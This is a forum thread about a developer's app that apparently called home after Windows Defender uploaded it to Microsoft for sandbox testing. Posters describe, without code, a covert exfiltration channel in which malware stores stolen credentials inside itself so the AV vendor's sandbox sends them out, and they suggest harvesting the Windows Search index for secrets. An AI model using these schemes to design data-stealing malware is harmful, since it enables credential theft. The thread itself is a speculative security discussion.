This is a blog post from makers of the Beacon app, which I gather is intended for tracking stolen devices. Longer tl;dr: https://medium.com/sensorfu/how-my-application-ran-away-and-called-home-from-redmond-de7af081100d But this is likely not just about Windows Defender. Many anti-malware apps (now, probably most) upload novel binaries by default. And their test machines likely run them, with network access, for the same reasons that Microsoft does. Because you likely won't see what they do unless they have network access. That is just diabolical. This exfiltration channel may well have existed for decades. Whether it's been used or not is an open question, of course. But damn
Damn. People have viewed this, but no comments. Maybe I should have used a clickbait title Restating, this is a Windows exfiltration channel that has likely existed for decades. Since Windows XP or before. As far back as anti-malware apps have been uploading and testing novel binaries found on users' systems. Here's the exploit. You somehow acquire a malicious binary. Something you install. Or something that an email or website installs. It doesn't actually do anything overtly malicious. It just looks for information (website passwords, Bitcoin wallet credentials, etc) and modifies itself to include encrypted copies. During the next anti-malware scan, it gets uploaded to the anti-malware provider's servers. Then it gets executed, to see what it does. And test systems typically have network access. So it uploads encrypted captured data to its server(s). That wouldn't be detected by users, because the malware itself doesn't phone home or whatever. And it wouldn't be detected by the anti-malware provider, because it doesn't do anything that any malware might do -- sending some encrypted bits to its server(s). This puts Windows users and anti-malware providers in a bind. Windows users can't prevent leaks as long as they use anti-malware apps that upload binaries. Anti-malware providers can't prevent leaks as long as they test malware with network access.
Thanks @mirimir , had appreciated the vector, and yes, it's bad. The program self-modification would normally have to be in user-space executables or those with privilege, but I guess that's common enough these days. I think this is why compartmentalisation using VMs or Sandboxie is very important, to protect your real file system from that kind of exfiltration. Or, using Linux. The other form of exfiltration I think about sometimes is that of using the Windows Search function to scan for "interesting" keywords, passwords and so on. Any malware - which could also include windows functions and telemetry effectively controlled by MS/LE, could simply have a list of those keywords and the Windows Search function would already have indexed those ready for exfiltration - there would be no need to do suspicious scans of the disk which users/AV might recognise. Because the Windows Search function has the many different file type adapters, it removes the need for that graunch from any malware too.
I don't think this has existed for decades, but probably has started after Win8. And what's important is when the exe was uploaded - if it was before the first execution on your machine (quite likely), there should be no leak channel 'cause the uploaded malware hadn't have any chance to know anything about you - it's executed in MS cloud first time while its copy may have already been executed in the isolated env. Ofc auto-submission may still be a problem particularly if you write your own code. [EDIT] Not sure if self-modification triggers re-upload, but it's surely possible. Ha, same here for this thread but no comment doesn't mean no interest. If you linked MS account w/ Win, overwhelming amount of data may be stored there.
Why do you say since Windows 8? Anti-malware apps were uploading and executing binaries before then, weren't they?
Anything you tell it to - by default, it'll do MyDocuments of course, but when setting properties on a disk, you can choose whether to have contents indexed - and it's default on. iFilters are provided to allow content search for many document types (e.g. Office, pdf, OneNote, etc). So that it will build an index in the background of all words in all specified file trees, which can be programmatically searched (via a fairly obscure and undocumented API), as well as from Explorer. Of course, other dedicated search tools with a better interface such as Copernic or Recoll build their own indexes including file content indexing, but generally you have more options to control/prevent their ability to exfiltrate.
If the hash changes then yes it would re-upload the file, but if the hash doesn't change then it's 50/50 it gets uploaded again. If the file doesn't have network connectivity or lays dormant then it's debatable the file gets uploaded.
There's also an issue somewhat distinct to malware data exfiltration, namely that any form of software development will normally be generating loads of executables, and these will be transmitted to Redmond. Reverse decompilation is normally straightforward for managed code, and in any case, obfuscation is normally only applied to the deliverable. But this means that your software development, including any IP and trade secrets, is potentially open source to MS. Personally, I don't think this is a big risk, but it's always possible that automated routines (run by LE say) could build up metadata information on - say - who was developing software using particular crypto libraries, for example.
Huh. So you'd think that software development machines would be firewalled, no? I mean, it's well known that Microsoft (and anti-malware apps, generally) uploads file information and binaries.
I may very well be wrong here but Windows Defender do not calculate hash but uses the simple 'path' variable. It's the cause for it's infamous slowness as it simply scans executables on each access over and over - no hash table. So I think it would upload the binary only on first on-access encounter with it. Excluding a a folder that collects the binaries should take care of that particular case. At least for on-access scan, I'm not sure if a scheduled full drive on-demand scan would respect this. Good point on managed code decompilation. Well, once you alow antimalware app out... it's out. There's no way telling it what to upload and what not. That's if you're using a 3rd party firewall. On Windows firewall, if you enable outbound filtering (disabled by default as we know) Windows Defender already should have a pass per default ruleset.
@Seer - So you're saying that software developers on Windows would let Windows generally access the Internet? Wouldn't they worry that Microsoft would be snooping?
@mirimir that would certainly depend on personal preferences, the type of app they develop, etc. If an app requires connection... Not everybody shares the opinion that Microsoft's is an evil empire. My guess is that this sentiment is somewhat rare with the developers. I found this - https://docs.microsoft.com/en-us/wi...ock-at-first-sight-windows-defender-antivirus It appears that hash of the uploaded binary is checked against the known samples in the cloud. As I assumed the hash table is not kept locally. But the document, as is often the case with Microsoft, do not go into enough details.
Huh, so it gets locked by default, if there's no hash in the cloud backend. And then it gets uploaded, and tested. We know that the Beacon binary got uploaded, and was executed on some Microsoft device. Given that this happened during porting Beacon to Windows, it's a reasonable guess that its hash wasn't in the Windows Defender cloud backend. And so we can assume that Windows Defender locked it. So the question becomes whether a new executable likely has a chance to run before Windows Defender blocks it. So it could grab some stuff to exfiltrate. The document you linked says: If that happens during scans, the delay could be minutes. But if it's triggered by file downloads or unpacking archives, it could be ~instant. However, it characterizes "block at first sight" as "next gen protection", so maybe executables had more slack in the past.
There is also another thing to point out from the link I posted - only the binaries with an Internet Zone identifier get checked against the cloud and then get uploaded if they don't match the sample hash. As I see it there are 2 possible explanations. Either Microsoft info is not correct and the binaries are uploaded regardeless of the zone identifier, or the Beacon app that our dev from your inital post lost somehow got that identifier and his app got uploaded because of it.
For example, he could've put the portable binary somewhere for download. Then someone else downloads it, which would put Internet Zone identifier onto it. Then it gets uploaded from there to Redmond. EDIT: I have now read our dev's article carefully. Here's what he did - (my bolding) I believe that everything is clear now. It appears that the binary did leak from his specific machine after all.
It's quite common/normal for Windows development machines (obviously firewalled) to be internet connected - so they can get libraries from Github dynamically, and also to publish to cloud computing like Azure. They'd also often contain passwords and secrets for test facilities & databases. In well controlled environments, you'd have a air-gapped production compilation machine, run by different people who ensure that the builds are well controlled and all the passwords etc are encrypted, changed to production values, and the code obfuscated and signed as needed.
Just to add a reply to this - It does not, I'd say. The binary gets scanned on-access and if a zone identifier is found it immediately gets checked against the cloud and then uploaded.
Can you perhaps explain what exactly is so shocking? This has been widely known for years right? AV's can upload whatever the hell they want. Or perhaps I didn't understand the story.
Not exactly. Until 7, WD was just a traditional anti-spyware and users had to install MSE or third-party AV for malware protection. Let's assume they installed MSE. It was still a traditional AV which detects malware based on downloaded signature, but at some time cloud checkup was added. This cloud checkup only uploaded metadata of the file, not the file itself, IIRC. When I joined Wilders (2014), this approach was dominant among major third-party AVs too (IDK if Webroot should be counted as major). Avira & ESET were the first ones started to upload the file to cloud, probably because at the time they didn't have behavior blocker (Avira had it only on 32-bit). It's only recently many AVs followed this, due to evolution of sandbox ML analysis which will cause slowdown if done on local machine, besides other benefits to do this on cloud.
@Seer MotW is about SmartScreen and not directly relevant to WD cloud upload. Indeed, the responsible process for SS are explorer.exe and smartscreen.exe ,not one of WD processes.
What triggered my interest was this from the article: So yes, it's well known that AVs upload stuff. But it clearly surprised the Beacon developer when his app phoned home from a Microsoft IP address. So why is that an "extremely juicy covert channel"? I was thinking of malware that could gather information from an "isolated" target system, and then deliver it via Microsoft or another AV provider. Basically, the malware would run, collect information, and create a new executable that contains that information. And then, when the AV provider executed it, that information would be sent to the attacker. But if AVs do indeed always lock unrecognized executables before uploading them, that wouldn't work. So what data could be leaked? I suppose that an attacker couldverify that their target had received a malware package. Even if it was somewhat isolated, in that only the AV could reach the Internet. But that doesn't seem "extremely juicy". I guess that I could ask the Beacon folks.